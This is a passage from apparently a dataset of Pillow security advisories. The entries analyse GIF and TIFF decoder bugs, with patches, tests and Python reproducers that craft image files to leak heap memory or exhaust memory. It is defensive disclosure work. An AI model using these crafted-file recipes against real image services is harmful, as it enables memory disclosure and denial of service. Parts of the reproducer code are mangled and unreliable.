(x1 > self.size[0] or y1 > self.size[1]) and update_image: - self._size = max(x1, self.size[0]), max(y1, self.size[1]) - Image._decompression_bomb_check(self._size) + size = max(x1, self.size[0]), max(y1, self.size[1]) + Image._decompression_bomb_check(size) + self._size = size frame_dispose_extent = x0, y0, x1, y1 flags = s[8] ``` `n_frames` / `is_animated` go through `update_image=False` and are unaffected. The patch also extends `test_exception_gif_extents` in `Tests/test_decompression_bomb.py` to assert that `im.size` is unchanged after the `DecompressionBombError`. It does not change `seek()` itself; optionally, `seek()` could also treat `DecompressionBombError` like `EOFError` and re-seek to `last_frame`, so that a retried `seek()` does not resume parsing from the middle of the rejected frame. ## The patch GIF: run the decompression bomb check on an enlarging frame's extent before storing it in self._size Applies to `src/PIL/GifImagePlugin.py` at the commit above. ```diff diff --git a/Tests/test_decompression_bomb.py b/Tests/test_decompression_bomb.py index 98d833736..83cc785fc 100644 --- a/Tests/test_decompression_bomb.py +++ b/Tests/test_decompression_bomb.py @@ -63,6 +63,9 @@ class TestDecompressionBomb: with pytest.raises(Image.DecompressionBombError): im.seek(1) + # The rejected frame should not have changed the image size + assert im.size == (100, 100) + def test_exception_gif_zero_width(self, monkeypatch: pytest.MonkeyPatch) -> None: # Set limit to trigger exception on the test file monkeypatch.setattr(Image, \"MAX_IMAGE_PIXELS\", 4 * 64 * 128) diff --git a/src/PIL/GifImagePlugin.py b/src/PIL/GifImagePlugin.py index 11fb180fc..f9bda06c2 100644 --- a/src/PIL/GifImagePlugin.py +++ b/src/PIL/GifImagePlugin.py @@ -290,8 +290,9 @@ class GifImageFile(ImageFile.ImageFile): x0, y0 = i16(s, 0), i16(s, 2) x1, y1 = x0 + i16(s, 4), y0 + i16(s, 6) if (x1 > self.size[0] or y1 > self.size[1]) and update_image: - self._size = max(x1, self.size[0]), max(y1, self.size[1]) - Image._decompression_bomb_check(self._size) + size = max(x1, self.size[0]), max(y1, self.size[1]) + Image._decompression_bomb_check(size) + self._size = size frame_dispose_extent = x0, y0, x1, y1 flags = s[8] ``` ## The reproducer
Reproducer \u2014 repro, 2,474 bytes (click to open) Its last line is `BUG` when the issue triggers and `OK` when it does not. Re-run on a clean build of that commit it printed `BUG`. ```python #!/usr/bin/env python3 # GifImageFile._seek() stores a frame's enlarged size in self._size and only # *then* runs the decompression-bomb check. The check raises, but the object # keeps the rejected 40000x40000 size over its real 1x1 pixel buffer, and the # next load() allocates from that size: 1.6+ GB for a 60-byte GIF. import io import resource import struct from PIL import Image BOMB = 40000 # 40000x40000 = 1.6 Gpx, ~9x the DecompressionBombError threshold LIMIT = 2 * Image.MAX_IMAGE_PIXELS def frame_1x1(): # image descriptor at (0,0) 1x1, then a 1-pixel LZW stream return b\",\" + struct.pack(\" LIMIT and im.im.size == (1, 1) # Effect: retrying the seek lands on the real 1x1 frame, but load() sizes its # buffers from the poisoned im.size. before = peak_rss_mib() im.seek(1) try: im.load() outcome = \"completed\" except MemoryError: outcome = \"MemoryError at the 3 GiB cap\" after = peak_rss_mib() print(f\"seek(1) + load() of a 1x1 frame: {outcome}; peak RSS {before} MiB -> {after} MiB\") ballooned = after - before > 1000 print(\"BUG\" if poisoned and ballooned else \"OK\") ```
---"}, {"id": "CVE-2026-112897", "fix_versions": ["13.0.0"], "aliases": ["GHSA-q45j-58j2-45rg"], "description": "``` ============================================================================ TiffDecode returns uninitialized memory as pixels for short JPEG strips Location: src/libImaging/TiffDecode.c:554 in _decodeStrip() Commit: a707c6b21c313880d0771e54965d142dd42358b6 ============================================================================ ``` Pillow hands back leftover process memory as image pixels when it opens a small crafted TIFF file. Anyone who can get an application to open their image, and can see something produced from its pixels (a thumbnail, a preview, a converted copy), can read heap memory that the process had previously used and freed. This works in the default configuration: opening and loading the 478-byte file succeeds with no error or warning, and every row below the first eight holds stale memory instead of picture content. The bug is in `_decodeStrip()` in `src/libImaging/TiffDecode.c`, and `_decodeTile()` has the same shape. The function `realloc()`s `state->buffer` to `TIFFStripSize()` bytes without initialising it and calls `TIFFReadEncodedStrip()`. Whenever that call does not return -1, it copies all `RowsPerStrip` rows of the buffer into the image. libtiff's JPEG codec only warns when the JPEG embedded in a strip has fewer rows than the strip, and Pillow silences libtiff warnings. The codec decodes the rows that exist and still returns the full strip size, so the untouched remainder is copied out as pixels. libtiff's Group 4 fax codec behaves the same way for a stream that ends early. The attached reproducer builds a 256\u00d7256 TIFF whose single strip or tile is a 256\u00d78 JPEG. Before loading it, the script frees buffers filled with `b\"LEAK\"`. It then finds 15,872 copies of `LEAK` in rows 8\u2013255 of the decoded image (the same freed chunk was reused in 500 of 500 runs). Under glibc's `MALLOC_PERTURB_`, those rows are entirely the allocator's fill byte. A well-formed control file decodes correctly in both cases. This is a read of uninitialised heap memory, not memory corruption. Each strip can disclose up to width \u00d7 `RowsPerStrip` bytes, and what comes back depends on the allocator's state at the time. The strip path was introduced in e91b851fdc1c (\"Add reading old-JPEG compressed TIFFs\", first released in Pillow 6.0.0). The tile path has had the same pattern since f0436a4ddc95 (Pillow 5.3.0). ## Details `src/libImaging/TiffDecode.c` decodes compressed TIFFs through libtiff into a strip (or tile) buffer that it `realloc()`s to `TIFFStripSize()` bytes and never initialises, and then copies all `RowsPerStrip` rows of that buffer into the image whenever `TIFFReadEncodedStrip()` does not return -1. libtiff's JPEG codec does not fail when the JPEG stream inside a strip has fewer rows than the strip: it decodes the rows that exist and returns the full strip size. The rows it did not write are whatever the heap held before, and Pillow returns them as pixels. A 478-byte file shows it: a classic little-endian TIFF, 256\u00d7256, `BitsPerSample=8`, `Compression=7`, `PhotometricInterpretation=1`, `RowsPerStrip=256`, one strip whose data is a baseline JPEG of 256\u00d7**8** pixels (as written by `Image.new(\"L\",(256,8),200).save(\u2026,\"JPEG\")`). `Image.open(BytesIO(data)).load()` succeeds with default settings (compressed TIFFs always take the libtiff path). Rows 0\u20137 of the result are the JPEG content (value 200); the remaining 63488 bytes of `im.tobytes()` are heap garbage: run under glibc's `MALLOC_PERTURB_=1` they are all `0xFE`, under `MALLOC_PERTURB_=170` all `0x55` (the fresh-`malloc` fill byte), and in a process that has just freed buffers containing `b\"LEAK\"` they contain 15872 copies of `LEAK`. Feeding the same file to libtiff 4.5.0 directly confirms the library side: `TIFFReadEncodedStrip(t, 0, buf, 65536)` prints `JPEGPreDecode: Warning, Improper JPEG strip/tile size, expected 256x256, got 256x8.`, returns 65536, and leaves 63488 of the 65536 buffer bytes untouched. Pillow installs `TIFFSetWarningHandler(NULL)` (`TiffDecode.c:682`), so the warning is not visible either. The strip path: ```c // src/libImaging/TiffDecode.c:552 /* realloc to fit whole strip */ /* malloc check above */ new_data = realloc(state->buffer, state->bytes); // state->bytes = TIFFStripSize() \u2026 state->buffer = new_data; for (; state->y < state->ysize; state->y += rows_per_strip) { \u2026 if (TIFFReadEncodedStrip( tiff, TIFFComputeStrip(tiff, state->y, plane), (tdata_t)state->buffer, strip_size ) == -1) { \u2026 return -1; } \u2026 // iterate over each row in the strip and stuff data into image for (strip_row = 0; strip_row < MIN((INT32)rows_per_strip, state->ysize - state->y); strip_row++) { \u2026 shuffler( (UINT8 *)im->image[state->y + state->yoff + strip_row] + state->xoff * im->pixelsize, state->buffer + strip_row * row_byte_size, state->xsize ); ``` `state->buffer` arrives here as the one-row `calloc` made by `decode.c:230` (`(bits*xsize+7)/8` = 256 bytes for the example). The `realloc` to 65536 bytes hands back a different, uninitialised chunk; nothing zeroes it. `TIFFReadEncodedStrip()` returns the nominal strip size on success, not the number of rows produced, and the only check is `== -1`, so the row loop unconditionally copies 256 rows \u00d7 256 bytes into `im->image` (which itself is zeroed by `core.new`, so the garbage provably comes from `state->buffer`). `_decodeTile()` has the same shape (`TiffDecode.c:448` `realloc` to `TIFFTileSize()`, then `tile_length` rows copied after each `TIFFReadTile()` at 460\u2013488). For a well-formed file the JPEG inside the strip is 256\u00d7256, libtiff fills all 65536 bytes and the copy is correct. The malicious file differs only in the SOF height of the embedded JPEG; libtiff treats \"JPEG smaller than strip\" as a warning, clamps the row count to the JPEG height, and reports success. JPEG is not the only libtiff codec that succeeds on a short strip. `Fax4Decode` (`Compression=4`) returns success for a T.6 stream that ends early: a 133-byte 512\u00d7256 1-bit TIFF whose strip is the Group 4 stream of a 512\u00d716 image loads without error, libtiff writes 17 rows (1088 bytes) of the 16384-byte buffer (`Fax4Decode: Warning, Premature EOL at line 16`, return value 16384) and the other 15296 bytes are again heap contents. LZW, Deflate, PackBits, Group 3 and CCITT RLE were checked and do return -1 on short data, so Pillow raises `OSError` for those. The strip path was introduced in `e91b851fdc1c` (\"Add reading old-JPEG compressed TIFFs\", 2018-12-08), first released in Pillow 6.0.0, which replaced row-by-row `TIFFReadScanline()` (where libtiff errors on the first missing row) with the whole-strip `realloc()` and copy. The tile path has had the same shape since it was added in `f0436a4ddc95` (2018-07-02, Pillow 5.3.0). ## Impact Any application that opens attacker-supplied images with Pillow in the default configuration and returns something derived from the pixels (thumbnail, preview, format conversion, OCR text) discloses freed heap memory of the worker process to the uploader: everything below the rows the embedded JPEG/G4 stream actually encodes, up to `ImageWidth \u00d7 RowsPerStrip \u00d7 SamplesPerPixel` bytes per strip and tens of MB per image within the default `MAX_IMAGE_PIXELS`. `load()` raises nothing, so the application has no signal that the image is malformed. What comes back depends on allocator state; in a long-running web worker it is typically recently freed request bodies, other users' decoded image buffers and Python object contents. There is no memory corruption; this is a read of uninitialised (previously used) heap memory, analogous in effect to an out-of-bounds read that lands in pixels. ## Reproducing `repro` is a short Python script that runs against the installed Pillow build with default settings: no rebuild, no sanitizer, no files written. It runs twice, once normally and once re-executing itself under glibc's `MALLOC_PERTURB_=170`, and the last line it prints is `BUG` or `OK`. **Input.** `tiff(jpeg_rows, tiled)` builds a little-endian TIFF in memory. The header declares a 256\u00d7256 8-bit greyscale image with `Compression=7` (JPEG), either as one strip (`RowsPerStrip=256`) or as one 256\u00d7256 tile (`TileWidth`/`TileLength`). The strip or tile is a baseline JPEG of 256\u00d7`jpeg_rows` pixels, all value 200, written by Pillow's own JPEG encoder. For each layout the script builds two files: - **Control:** `jpeg_rows=256`. This is a well-formed file, and libtiff fills the whole 64 KiB strip/tile. - **Crafted:** `jpeg_rows=8`, 478 bytes (strip) or 490 bytes (tile). The only difference is the embedded JPEG's height. libtiff decodes 8 rows (2048 bytes), warns `Improper JPEG strip/tile size` (Pillow silences the warning) and returns the full strip/tile size as success. **Steps.** Each file is opened (the script asserts it takes the `libtiff` decoder). Just before `im.load()` the script allocates and frees six 64 KiB `bytearray`s filled with `b\"LEAK\"`, which leaves freed heap chunks about the size of the buffer that `_decodeStrip()`/`_decodeTile()` is about to `realloc()`. For rows 8\u2013255 it then counts copies of `LEAK` and bytes equal to `0x55` (glibc's fresh-`malloc` fill under `MALLOC_PERTURB_=170`). The files contain no `LEAK` bytes (the script asserts this), so any copy in the image came from freed heap memory. It reports `BUG` if a crafted file shows any `LEAK` in the normal pass, or rows 8\u2013255 entirely `0x55` in the perturbed pass. **Expected output on this tree:** ``` [normal ] strip well-formed (1222 B) rows 8-255: 0 x b'LEAK', 0/63488 == 0x55, head=b'\\xc8\\xc8\\xc8\\xc8\\xc8\\xc8\\xc8\\xc8' [normal ] strip crafted ( 478 B) rows 8-255: 15872 x b'LEAK', 0/63488 == 0x55, head=b'LEAKLEAK' [normal ] tiled well-formed (1234 B) rows 8-255: 0 x b'LEAK', 0/63488 == 0x55, head=b'\\xc8\\xc8\\xc8\\xc8\\xc8\\xc8\\xc8\\xc8' [normal ] tiled crafted ( 490 B) rows 8-255: 15872 x b'LEAK', 0/63488 == 0x55, head=b'LEAKLEAK' [perturb] strip well-formed (1222 B) rows 8-255: 0 x b'LEAK', 0/63488 == 0x55, head=b'\\xc8\\xc8\\xc8\\xc8\\xc8\\xc8\\xc8\\xc8' [perturb] strip crafted ( 478 B) rows 8-255: 0 x b'LEAK', 63488/63488 == 0x55, head=b'UUUUUUUU' [perturb] tiled well-formed (1234 B) rows 8-255: 0 x b'LEAK', 0/63488 == 0x55, head=b'\\xc8\\xc8\\xc8\\xc8\\xc8\\xc8\\xc8\\xc8' [perturb] tiled crafted ( 490 B) rows 8-255: 0 x b'LEAK', 63488/63488 == 0x55, head=b'UUUUUUUU' BUG ``` `im.load()` succeeds for every file. For the crafted files rows 8\u2013255 are the uninitialised strip/tile buffer, copied as-is into the image. With the attached patch applied, rows 8\u2013255 of the crafted files come back as `\\x00` bytes, with no `LEAK` and no `0x55`, and the script ends with `OK`. The `LEAK` count depends on where glibc places the buffer (the same freed chunk was reused in 500 of 500 runs here); the `MALLOC_PERTURB_` pass does not. The script covers the JPEG codec only. The Group 4 variant in the Details section (`Compression=4`, a T.6 stream that ends early) goes through the same `_decodeStrip()` copy, and the same fix covers it. ## Suggested fix The attached patch zeroes `state->buffer` before each libtiff read in both loops of `src/libImaging/TiffDecode.c` \u2014 before `TIFFReadTile()` in `_decodeTile()` and before `TIFFReadEncodedStrip()` in `_decodeStrip()` \u2014 so rows a codec does not produce are deterministic zeros rather than stale heap: ```diff --- a/src/libImaging/TiffDecode.c +++ b/src/libImaging/TiffDecode.c @@ _decodeTile for (x = state->xoff; x < state->xsize; x += tile_width) { + memset(state->buffer, 0, state->bytes); if (TIFFReadTile(tiff, (tdata_t)state->buffer, x, y, 0, plane) == -1) { @@ _decodeStrip for (plane = 0; plane < planes; plane++) { ImagingShuffler shuffler = unpackers[plane]; + memset(state->buffer, 0, state->bytes); if (TIFFReadEncodedStrip( ``` A `memset` per strip/tile (rather than one `calloc` after the size is known) is needed because the same buffer is reused for every strip, and a short last strip would otherwise expose the previous strip's rows \u2014 harmless for disclosure, but the per-read `memset` keeps the behaviour uniform at the cost of one extra pass over the buffer. Promoting libtiff warnings to errors via a warning handler is not a good alternative: both codecs only warn (`Improper JPEG strip/tile size`, `Premature EOL`), but so do many legitimate files (unknown tags, bad tag counts), and the return value of `TIFFReadEncodedStrip()` carries no row count to check against. Initialising the buffer covers every codec. `_decodeAsRGBA()` needs no change: `TIFFRGBAImageGet()` fills its whole raster, and JPEG files do not reach it (`JPEGCOLORMODE_RGB` sends them down the strip path). Valid files decode exactly as before; rows a codec does not produce are now black instead of garbage, and nothing that previously loaded now fails. The patch also adds `test_jpeg_short_strip` to `Tests/test_file_libtiff.py`, parametrised over strip and tile, which builds the 256\u00d78-JPEG-in-256\u00d7256 file and asserts rows 8\u2013255 are zero. It is a regression guard for the fixed code rather than a reliable detector of the bug: in a fresh pytest process the unfixed strip variant can pass because the new heap chunk happens to be zero (the tiled variant fails before the fix). With the patch, `Tests/test_file_libtiff.py` and `Tests/test_file_tiff.py` pass and the reproducer prints `OK`. ## The patch Zero the libtiff strip/tile buffer before each TIFFReadEncodedStrip/TIFFReadTile in TiffDecode.c so short strips do not expose uninitialised heap Applies to `src/libImaging/TiffDecode.c` at the commit above. ```diff diff --git a/Tests/test_file_libtiff.py b/Tests/test_file_libtiff.py index 3d804ea4a..67bc96329 100644 --- a/Tests/test_file_libtiff.py +++ b/Tests/test_file_libtiff.py @@ -1162,6 +1162,45 @@ class TestFileLibTiff(LibTiffTestCase): im.load() assert im.size == (950, 975) + @pytest.mark.parametrize(\"tiled\", (False, True)) + def test_jpeg_short_strip(self, tiled: bool) -> None: + # The JPEG data in the strip/tile only contains 8 of the 256 rows that + # RowsPerStrip/TileLength declare. libtiff decodes the rows that exist + # and still reports success, so the remaining rows must be cleared + # rather than left as uninitialised memory. + jpeg = io.BytesIO() + Image.new(\"L\", (256, 8), 200).save(jpeg, \"JPEG\") + jpeg_data = jpeg.getvalue() + + ifd = TiffImagePlugin.ImageFileDirectory_v2() + ifd[256] = 256 # ImageWidth + ifd[257] = 256 # ImageLength + ifd[258] = 8 # BitsPerSample + ifd[259] = 7 # Compression: JPEG + ifd[262] = 1 # PhotometricInterpretation: BlackIsZero + ifd[277] = 1 # SamplesPerPixel + if tiled: + ifd[322] = 256 # TileWidth + ifd[323] = 256 # TileLength + ifd[324] = 0 # TileOffsets + ifd[325] = len(jpeg_data) # TileByteCounts + # Point the tile data at the end of the IFD + ifd[324] = 8 + len(ifd.tobytes(8)) + else: + ifd[278] = 256 # RowsPerStrip + ifd[STRIPOFFSETS] = 0 # Updated by tobytes() to follow the IFD + ifd[279] = len(jpeg_data) # StripByteCounts + + b = io.BytesIO() + ifd.save(b) + b.write(jpeg_data) + + with Image.open(b) as im: + assert im.tile[0][0] == \"libtiff\" + im.load() + assert im.crop((0, 0, 256, 8)).getextrema() == (200, 200) + assert im.crop((0, 8, 256, 256)).getextrema() == (0, 0) + def test_orientation(self) -> None: with Image.open(\"Tests/images/g4_orientation_1.tif\") as base_im: for i in range(2, 9): diff --git a/src/libImaging/TiffDecode.c b/src/libImaging/TiffDecode.c index 8a57c523d..d1d6bfbbb 100644 --- a/src/libImaging/TiffDecode.c +++ b/src/libImaging/TiffDecode.c @@ -457,6 +457,11 @@ _decodeTile( for (plane = 0; plane < planes; plane++) { ImagingShuffler shuffler = unpackers[plane]; for (x = state->xoff; x < state->xsize; x += tile_width) { + // Some codecs (e.g. JPEG, Group 4) succeed on a tile that decodes + // to fewer rows than the tile length, leaving the rest of the + // buffer untouched. Clear it so that uninitialised memory is not + // copied into the image. + memset(state->buffer, 0, state->bytes); if (TIFFReadTile(tiff, (tdata_t)state->buffer, x, y, 0, plane) == -1) { TRACE((\"Decode Error, Tile at %dx%d\\n\", x, y)); state->errcode = IMAGING_CODEC_BROKEN; @@ -563,6 +568,11 @@ _decodeStrip( int plane; for (plane = 0; plane < planes; plane++) { ImagingShuffler shuffler = unpackers[plane]; + // Some codecs (e.g. JPEG, Group 4) succeed on a strip that decodes + // to fewer rows than RowsPerStrip, leaving the rest of the buffer + // untouched. Clear it so that uninitialised memory is not copied + // into the image. + memset(state->buffer, 0, state->bytes); if (TIFFReadEncodedStrip( tiff, TIFFComputeStrip(tiff, state->y, plane), ``` ## The reproducer
Reproducer \u2014 repro, 2,688 bytes (click to open) Its last line is `BUG` when the issue triggers and `OK` when it does not. Re-run on a clean build of that commit it printed `BUG`. ```python #!/usr/bin/env python3 # Pillow TiffDecode.c _decodeStrip/_decodeTile: strip/tile buffer is realloc()ed, never # initialised, and copied whole into the image even when libtiff's JPEG codec decoded # fewer rows than RowsPerStrip/TileLength. Two independent signals: # pass 1 (normal heap): seed freed 64 KiB chunks with b\"LEAK\" just before load() and # count copies of LEAK in the decoded pixels (file contains no such bytes); # pass 2 (same script re-run under glibc MALLOC_PERTURB_=170): fresh malloc memory is # 0x55, so rows that come back all-0x55 are provably uninitialised heap. import gc, io, os, struct, subprocess, sys from PIL import Image W = H = 256; ROWS = 8 perturbed = os.environ.get(\"MALLOC_PERTURB_\") == \"170\" if not perturbed: print(\"Pillow\", Image.__version__, Image.core.__file__) def tiff(jpeg_rows, tiled): j = io.BytesIO(); Image.new(\"L\", (W, jpeg_rows), 200).save(j, \"JPEG\"); j = j.getvalue() tags = [(256,3,1,W), (257,3,1,H), (258,3,1,8), (259,3,1,7), (262,3,1,1), (277,3,1,1)] tags += ([(322,3,1,W), (323,3,1,H), (324,4,1,0), (325,4,1,len(j))] if tiled else [(273,4,1,0), (278,3,1,H), (279,4,1,len(j))]) tags.sort(); off = 8 + 2 + 12*len(tags) + 4 tags = [(t,ty,c, off if t in (273,324) else v) for t,ty,c,v in tags] ifd = struct.pack(\" 0 or (perturbed and n55 == len(below))): bug = True if not perturbed: r = subprocess.run([sys.executable, sys.argv[0]], env={**os.environ, \"MALLOC_PERTURB_\": \"170\"}, capture_output=True, text=True) lines = r.stdout.rstrip().split(\"\\n\") print(\"\\n\".join(lines[:-1])); sys.stderr.write(r.stderr) bug = bug or lines[-1] == \"BUG\" print(\"BUG\" if bug else \"OK\") ```
---"}, {"id": "CVE-2026-112395", "fix_versions": ["13.0.0"], "aliases": ["GHSA-462x-pgg6-55fp"], "description": "### Summary Pillow's libImaging `_decodeTile` decoder, used to decode tiled TIFF images, allocates a per-tile buffer using `realloc(state->buffer, TIFFTileSize(tiff))`. After each `TIFFReadTile` it then iterates `tile_y` from 0 up to `current_tile_length` and calls the configured row unpacker (here `copy4`) with the source pointer `state->buffer + tile_y * row_byte_size`. When libtiff returns a `tile_bytes_size` smaller than the worst-case `row_byte_size * tile_length`, the inner stride-and-copy loop walks past the realloc'd region and `copy4` performs a 1024-byte `memcpy` that reads up to `(tile_length-1) * row_byte_size + row_byte_size` bytes from a buffer sized only to `tile_bytes_size`. The supplied PoC TIFF triggers a 1024-byte over-read exactly 0 bytes past a 196608-byte allocation. An attacker who can convince a Pillow-using application to decode a crafted TIFF can trigger a process crash (DoS) and may cause adjacent heap memory to be copied into the decoded pixel buffer. ### Details Pillow's TIFF decoder, when libtiff reports the file is tiled, takes the `_decodeTile` path. The function: 1. Asks libtiff for `TIFFTileSize(tiff)` (the bytes-per-tile) and `TIFFTileRowSize(tiff)` (the bytes per row *as stored by libtiff*). 2. Reallocates `state->buffer` to exactly `tile_bytes_size`. 3. For each tile origin `(x, y)` and each plane, calls `TIFFReadTile` into `state->buffer`, then walks the tile row by row, calling the configured `ImagingShuffler` (here `copy4`) on each row's worth of source bytes. The validation done before the loop is: ```c if (tile_bytes_size > ((tile_length * state->bits / planes + 7) / 8) * tile_width) { state->errcode = IMAGING_CODEC_BROKEN; return -1; } ``` This rejects oversized libtiff tiles, but it does **not** reject *undersized* ones \u2014 i.e. the case where libtiff returns a `tile_bytes_size` strictly **less** than `row_byte_size * tile_length`. The loop body, however, indexes into the buffer assuming the buffer is at least `row_byte_size * tile_length` bytes long. ### Vulnerable Code ```c // src/libImaging/TiffDecode.c:446-490 \u2014 _decodeTile new_data = realloc(state->buffer, state->bytes); // bytes = tile_bytes_size if (!new_data) { ... } state->buffer = new_data; for (y = state->yoff; y < state->ysize; y += tile_length) { for (plane = 0; plane < planes; plane++) { ImagingShuffler shuffler = unpackers[plane]; for (x = state->xoff; x < state->xsize; x += tile_width) { if (TIFFReadTile(tiff, (tdata_t)state->buffer, x, y, 0, plane) == -1) { ... } current_tile_width = min((INT32)tile_width, state->xsize - x); current_tile_length = min((INT32)tile_length, state->ysize - y); for (tile_y = 0; tile_y < current_tile_length; tile_y++) { shuffler( (UINT8 *)im->image[tile_y + y] + x * im->pixelsize, state->buffer + tile_y * row_byte_size, // <-- OOB stride current_tile_width ); } } } } ``` ```c // src/libImaging/Unpack.c:1288-1291 \u2014 copy4 (the crash site) static void copy4(UINT8 *out, const UINT8 *in, int pixels) { /* RGBA, CMYK quadruples */ memcpy(out, in, 4 * pixels); // <-- ASAN-detected READ here } ``` The PoC's tile metadata yields `tile_width = tile_length = 256`, `row_byte_size = 1024` (4 bytes/pixel \u00d7 256 pixels), and `tile_bytes_size = 196608` (which is 256\u00b7256\u00b73 = three-channel-byte storage). The realloc'd buffer is 196608 bytes. The unpacker iterates `tile_y` from 0 to 255 and for the highest rows the source pointer `state->buffer + tile_y * 1024` already lies at or past offset 196608 \u2014 the very last row's `memcpy(in=buffer+255\u00b71024, 1024)` reads 1024 bytes starting `260096 - 196608 = 63488` bytes past the allocation; ASAN flags the very first byte past the heap region (`READ of size 1024 at \u2026 0 bytes after 196608-byte region`). The mismatch is real: libtiff's `TIFFTileSize` returns the *packed* per-tile storage (which depends on the file's photometric/separation layout \u2014 it can legitimately be smaller than `row_byte_size \u00d7 tile_length`), while the inner loop strides as if the buffer always equals `row_byte_size \u00d7 tile_length`. ## Attribution This issue was found by Anthropic from using Claude to study security of open source projects, and I am from Ada Logics helping validate the found issues and report to maintainers. The data in this report has been reviewed manually."}, {"id": "CVE-2026-112404", "fix_versions": ["13.0.0"], "aliases": ["GHSA-c6hw-5grf-ff96"], "description": "``` ============================================================================ OOB read in TiffDecode.c tile and RGBA paths leaks heap memory into pixels Location: src/libImaging/TiffDecode.c:483 in _decodeTile() Commit: a707c6b21c313880d0771e54965d142dd42358b6 ============================================================================ ``` Pillow reads past the end of a heap buffer when decoding certain malformed compressed TIFF files, and copies the bytes it reads into the pixels of the image it returns. An attacker who can get an application to open and load an image file, for example by uploading it to a service that returns thumbnails, previews or converted images, gets back fragments of that process's heap memory, including pointer values. A slightly larger file instead crashes the process. No special settings are needed, and nothing is written out of bounds. The bug is in `_decodeTile()` and `_decodeAsRGBA()` in `src/libImaging/TiffDecode.c`. Both size their decode buffer from libtiff's view of the pixel layout (`TIFFTileSize()`/`TIFFTileRowSize()`, or `img.width * 4`). They then unpack each row with the unpacker that `TiffImagePlugin._setup()` chose from Pillow's own parse of the directory, and neither checks that the unpacker's input row fits inside the row libtiff produced. `_decodeStrip()` has exactly this check, added for OSS-Fuzz `crash-0da0` in 8.2.0, but the tile and RGBA paths never got it. The two parsers can be made to disagree with a duplicated `PhotometricInterpretation` or `BitsPerSample` tag, because libtiff keeps the first occurrence and Pillow keeps the last. Pillow then unpacks 4 to 8 bytes per pixel from rows that libtiff filled with 1 to 4 bytes, so the last rows of each tile are read from beyond the buffer. The disclosed memory is a few tile rows past the buffer, and the attacker chooses the tile width. The amount does not grow with the number of tiles, because the buffer is reused for every tile. The tile half was introduced in 1c295bf43 (first released in 8.2.0). The RGBA half was introduced in eb8c1206d, the CVE-2020-35654 fix (8.1.0). The attached reproducer runs against an unmodified build. It writes three roughly 400-byte files that load without error, yet the last pixel rows of each change with glibc's malloc fill pattern and contain heap pointer bytes. A fourth file with a 65536x16 tile segfaults in `copy4` \u2190 `_decodeTile` (`TiffDecode.c:483`) in most runs, depending on what is mapped after the buffer. ## Details `_decodeTile()` and `_decodeAsRGBA()` in `src/libImaging/TiffDecode.c` size `state->buffer` from what libtiff says it will produce (`TIFFTileSize()`, resp. `img.width * 4`), but unpack each row with the shuffler that `TiffImagePlugin._setup()` selected from Pillow's *own* parse of the IFD. Nothing in either function checks that the unpacker's input row (`width * state->bits / 8` bytes) fits inside the row libtiff wrote. `_decodeStrip()` has exactly that check; the other two do not. Whenever the two IFD parsers disagree about the pixel layout \u2014 a tag with the wrong count or type that libtiff ignores but Pillow accepts, or a duplicated `PhotometricInterpretation`/`BitsPerSample`/`SamplesPerPixel` entry (libtiff keeps the first occurrence, `ImageFileDirectory_v2.load()` the last) \u2014 the unpacker reads past the end of the heap buffer and the bytes it reads become pixels of the returned image. Any Pillow rawmode wider than libtiff's actual sample layout works (`RGBX`, `RGB;16N`, `RGBA;16N`, `I;32`, `F;32F`, \u2026); `RGBA;16N` (64 bits/pixel) against 1-bit libtiff data is the largest ratio, where every row after the first of each tile is read almost entirely from beyond the buffer. The ~400-byte TIFF `tile_count2.tif` generated by the reproducer \u2014 one 16x16 tile, `BitsPerSample 8`, `SamplesPerPixel 1`, `Compression 8` (Adobe Deflate), and `PhotometricInterpretation` written as a SHORT with **count 2** (`6, 6`) \u2014 is opened by `Image.open()` as mode `RGB` with libtiff rawmode `RGBX`, and `load()` succeeds on the stock build. Rows 13\u201315 of the result contain bytes that lie 16, 32 and 48 bytes past the 256-byte tile buffer: decoding the same file twice under `MALLOC_PERTURB_=85` and `=170` yields identical rows 0\u201312 and different bytes in rows 13\u201315 (`aa` vs `55`, i.e. glibc's fill pattern). Under an ASan build of the extensions the same `load()` reports `heap-buffer-overflow READ of size 64` in `copy4` (`src/libImaging/Unpack.c:1290`) called from `src/libImaging/TiffDecode.c:483`, against the 256-byte region allocated at `TiffDecode.c:448`. The same layout with a single 65536x16 tile (4.5 KB file) makes the stock build SIGSEGV in `copy4 \u2190 _decodeTile` reading an unmapped address in most runs (whether it faults depends on what is mapped after the 1 MiB buffer; a wider tile makes it reliable). ### Why the two parsers disagree libtiff 4.5 rejects a `PhotometricInterpretation` entry whose count is not 1 (`TIFFFetchNormalTag: Incorrect count for \"PhotometricInterpretation\"; tag ignored`), so for this file `TIFFGetField(tiff, TIFFTAG_PHOTOMETRIC, \u2026)` returns 0 and libtiff treats the data as one 8-bit sample per pixel: `TIFFTileSize() = 256`, `TIFFTileRowSize() = 16`. Pillow keeps the first value and carries on: ```python # src/PIL/TiffImagePlugin.py:762-770 (ImageFileDirectory_v2._setitem, reached from load()) try: (dest[tag],) = values except ValueError: # We've got a builtin tag with 1 expected entry warnings.warn(f\"Metadata Warning, tag {tag} had too many entries: ...\") dest[tag] = values[0] ``` so `_setup()` sees `photo == 6`. `OPEN_INFO[(II, 6, (1,), 1, (8,), ())]` is `(\"L\", \"L\")`, and because the file is compressed the libtiff branch then overrides the rawmode: ```python # src/PIL/TiffImagePlugin.py:1578, 1600-1607 self.use_load_libtiff = READ_LIBTIFF or self._compression != \"raw\" \u2026 if photo == 6: self._mode = \"RGB\" if self._compression in \"jpeg\" and self._planar_configuration == 1: rawmode = \"RGB\" else: rawmode = \"RGBX\" ``` `RGBX` is a 32-bit rawmode, so `get_unpacker()` (`src/decode.c:301-309`) sets `state->bits = 32` and `state->shuffle = copy4`. The intent of the `photo == 6` override is that libtiff will deliver RGBA through `TIFFRGBAImage`, but that decision is made in C from *libtiff's* reading of the tag, which here is \"not YCbCr\": ```c // src/libImaging/TiffDecode.c:737-764 TIFFGetField(tiff, TIFFTAG_PHOTOMETRIC, &photometric); // unset -> stays 0 \u2026 readAsRGBA = photometric == PHOTOMETRIC_YCBCR; // 0 \u2026 if (TIFFIsTiled(tiff)) { _decodeTile(im, state, tiff, planes, unpackers); // unpackers[0] = copy4 ``` ### The missing check `_decodeTile()` only guards against libtiff's tile being *larger* than what the unpacker expects, then allocates exactly `TIFFTileSize()` bytes and feeds `row_byte_size`-strided rows to the shuffler: ```c // src/libImaging/TiffDecode.c:403-487 (_decodeTile) tile_bytes_size = TIFFTileSize(tiff); // 256 \u2026 row_byte_size = TIFFTileRowSize(tiff); // 16 \u2026 if (tile_bytes_size > ((tile_length * state->bits / planes + 7) / 8) * tile_width) { // 256 > 